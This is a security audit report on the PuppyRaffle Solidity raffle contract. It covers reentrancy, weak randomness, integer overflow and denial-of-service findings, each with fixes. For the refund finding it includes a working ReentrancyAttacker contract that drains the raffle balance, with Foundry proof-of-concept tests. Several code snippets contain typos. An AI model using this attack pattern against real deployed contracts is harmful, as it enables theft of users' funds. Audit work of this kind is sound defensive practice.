PuppyRaffle Audit Report

Version 1.0

Vkgoud

February 6, 2025

Protocol Audit Report

Vk goud

Feb 6, 2025

Prepared by: Vk goud Lead Auditors:

- Vamshi Krishna Goud

Table of Contents

- MEDIUM
  * [M-1] Looping through the players array to check for duplication in `PuppyRaffle::enterRaffle` is a potential denial of service attack (dos), incrementing the gas costs for the future entrants
  * [M-2] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest
- Low
  * [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

- GAS
  - [G-1] Unchanged variables should be declared constant or immutable.
  - [G-2] Storage variables in a loop should be cached
  - Informational
    * [I-1]: Solidity pragma should be specific, not wide
    * [I-2]: Using an outdated version of solidity is not recommended.
    * I-3: Missing checks for `address(0)` when assigning values to address state variables
    * [I-4]: `PuppyRaffle::selectwinner()` function does not follow CEI, which is the bets practice.
    * [I-5]: Use of "magic" numbers is discouraged
    * [I-6] The `PuppyRaffle::_isActivePlayer` is never used and it should be removed

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
   1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Vkgoud makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5
- In Scope:

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	1
Info	5
Gas	2
Total	13

Findings

HIGH

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance.

Description The `PuppyRaffle::refund` function doesnot follow CEI method and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::refund` array.

```
        function refund(uint256 playerIndex) public {
          address playerAddress = players[playerIndex];
          require(
              playerAddress == msg.sender,
              "PuppyRaffle: Only the player can refund"
          );
          require(
              playerAddress != address(0),
              "PuppyRaffle: Player already refunded, or is not active"
          );

@>        payable(msg.sender).sendValue(entranceFee);
@>        players[playerIndex] = address(0);
          emit RaffleRefunded(playerAddress);
      }
```

A player who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact All fees paid by raffle entrants could be stolen by the malicious participant.

proof of concept

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Proof of code

Code

Place the following into `PuppyRaffle::refund`.

```
    function test_reentrancyRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle
        );
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackContractBalance = address(attackerContract)
            .balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        // attack
        vm.prank(attackUser);
        attackerContract.attack{value: entranceFee}();

        console.log(
            "starting attacker contract balance ",
            startingAttackContractBalance
        );
        console.log("starting  contract balance ", startingContractBalance);

```

```
        console.log(
            "ending attacker contract balance ",
            address(attackerContract).balance
        );
        console.log("ending  contract balance ", address(puppyRaffle).
           balance);
    }
```

And this contract as well.

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
           ;
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }
}
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::enterRaffle` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
  function refund(uint256 playerIndex) public {
        // Written-skipped @audit MEV
```

```
        //checks
        // Effects
        // Interactions

        address playerAddress = players[playerIndex];
        require(
            playerAddress == msg.sender,
            "PuppyRaffle: Only the player can refund"
        );
        require(
            playerAddress != address(0),
            "PuppyRaffle: Player already refunded, or is not active"
        );
        // @audit reentrancy attack
+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);

        payable(msg.sender).sendValue(entranceFee);

-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

[H-2]: Weak Randomness in `PuppyRaffle::selectwinner()` allows users to influence or predict the winner and influence and predict the winning puppy.

Description Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together creates a predictable find a number, which is not a good random number. Malacious users can manipulate these values or know them ahead of time to choose the winner of the raffle themseleves.

*Note:*This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of concept

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrando. `block.difficulty` was recently replace with prevrando.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner.
3. Users can revert their `selectwinner` transcation if they dont like the winner or resulting puppy.

using the on-chain values as a randomness seed is a well-documented attack vector. in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3]: Integer overflow of `PuppyRaffle::totalFees` loses fees

Description In solidity versions prior to `0.8.0` integers were subject to integer overflows.

```

uint64 myVar = type(uint64).max
// 18446744073709551615
myVar myVar + 1
// my Var will be
```

Impact In `PuppyRaffle::selectwinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of concept

1. We conclude a raffle of 4 players
2. We then have 89 players enter a new raffle, and conclude the raffle
3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// aka
totalFees = 800000000000000000 + 17800000000000000000;
// and this will overflow!
totalFees = 153266926290448384;
```

4. you will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance ==
  uint256(totalFees), "PuppyRaffle: There are currently players active!
     ");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the valuses to match and withdraw the fees, this is clearly not the intended design of the protocol. At somepoint , there will be too much `balance` in the contract that the above `require` will be impossible to hit.

Code

```

function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
           players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a
           second raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the
           require check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players
           active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation There are a few possible recommendations.

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`
2. You could also use the `safeMath` library of OpenZeppelin for version 0.7.6 of solidity, however you would still have a hard time with the `uint64` type if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`.

```
-  require(address(this).balance ==
  uint256(totalFees), "PuppyRaffle: There are currently players active!
     ");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

MEDIUM

[M-1] Looping through the players array to check for duplication in `PuppyRaffle::enterRaffle` is a potential denial of service attack (dos), incrementing the gas costs for the future entrants

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for the duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This gas costs less for the players who enter right when the raffle starts, than the one who enter later.Every additional address in the `players` arrays, is na additional check the loop will have to make.

```
// @audit DOS attack
  for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(
                    players[i] != players[j],
                    "PuppyRaffle: Duplicate player"
                );
            }
        }
```

Impact: The gas costs for raffle entering will greately increase as more players enter the raffle. Discouraging the later users to participate, and casuing a rush at the start of the raffle.

An attacker might make the `PuppyRaffle::entrants` array so bog, that no one else can enter.

Proof of Concept: If we have 2 sets 100 players enter, the gas costs will be :

```
 1st 100 players: ~6252128 gas
 2nd 100 players: ~18068218 gas
```

This is more expensive like which is 3x, than the first 100 players.

POC

Place the following test in `PuppyRaffleTest.t.sol`.

```
function test_denialOfService() public {

        // Lets try with 100 players
        vm.txGasPrice(1);

```

```
        uint256 playerNum = 100;
        address[] memory players = new address[](playerNum);
        for (uint256 i = 0; i < 100; i++) {
            players[i] = address(i);
        }
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
           players);

        uint256 gasEnd = gasleft();

        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas used for first 100 players: ", gasUsedFirst);

        // now for the second 100 players

        address[] memory playersTwo = new address[](playerNum);
        for (uint256 i = 0; i < playerNum; i++) {
            playersTwo[i] = address(i + playerNum);
        }
        uint256 gasStartSecond = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            playersTwo
        );

        uint256 gasEndSecond = gasleft();

        uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
           gasprice;
        console.log("Gas used for second 100 players: ", gasUsedSecond)
           ;

        assert(gasUsedFirst < gasUsedSecond);
    }
```

Recommended Mitigation: There are a few recommendations

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check the duplicates. This would allow the constant time lookup of wheather a user has already entered.

[M-2] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest

Description The `PuppyRaffle::selectwinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectwinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectwinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money.

Proof of concept

1. 10 smart contract functions enter the lottery without a fallback or receive function
2. The lottery ends
3. The `selectwinner` function wouldn't work, even though the lottery is over@

Recommended Mitigation: There are a few options to mitigate ths issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout amounts so winners can pull their funds out themseleves with a new `claimPrize` function, putting the owness on the winner to claim their prize. (Recommended)

> Pull over Push

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

Description If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
     //  if the player at index 0, it will return 0, which is wrong.
         The player thinks he is not active.

    function getActivePlayerIndex(
        address player
```

```
    ) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact A player at index 0 to incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of concept

1. User enters the raffle, they are the first entrant.
2. `PuppyRaffle::getActivePlayerIndex` returns 0.
3. User thinks they have not entered correctly due to the function documentation.

Recommended Mitigation The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

GAS

[G-1] Unchanged variables should be declared constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`.
- `PuppyRaffle::rareImageUri` should be `constant`.
- `PuppyRaffle::legendaryImageUri` should be `constant`.

[G-2] Storage variables in a loop should be cached

Everytime you call `player.length` you read from storage, as opposed to memory whichis more gas efficient.

```diff
+        uin256 playerLength = player.length;
-        for (uint256 i = 0; i < players.length - 1; i++) {
+         for (uint256 i = 0; i < playerslength - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
+             for (uint256 j = i + 1; j < playerslength; j++) {
                require(
                    players[i] != players[j],
                    "PuppyRaffle: Duplicate player"
                );
            }
        }
```

Informational

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

  ```solidity
  pragma solidity ^0.7.6;
  ```

[I-2]: Using an outdated version of solidity is not recommended.

please use a newer version like `0.8.18`.

Description solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least `0.8.0`) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation for more information.

I-3: Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 74

```
            feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 258

```
            feeAddress = newFeeAddress;
```

[I-4]: `PuppyRaffle::selectwinner()` function does not follow CEI, which is the bets practice.

Its bets to keep the code clean and follow the CEI (Check, Effects, Interaction)

```
-    (bool success, ) = winner.call{value: prizePool}("");
-        require(success, "PuppyRaffle: Failed to send prize pool to winner");
        _safeMint(winner, tokenId);
+       (bool success, ) = winner.call{value: prizePool}("");
+       require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5]: Use of "magic" numbers is discouraged

It can be confusing to see number litrals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
        uint256 prizePool = (totalAmountCollected * 80) / 100;
          uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
          uint256 public constant FEE_PERCENTAGE = 20;
               uint256 public constant POOL_PRECISION = 100;
```

[I-6] The `PuppyRaffle::_isActivePlayer` is never used and it should be removed

```

- function _isActivePlayer() internal view returns (bool) {
-       for (uint256 i = 0; i < players.length; i++) {
```

```
-             if (players[i] == msg.sender) {
-                 return true;
-             }         }
-         return false;
-     }
```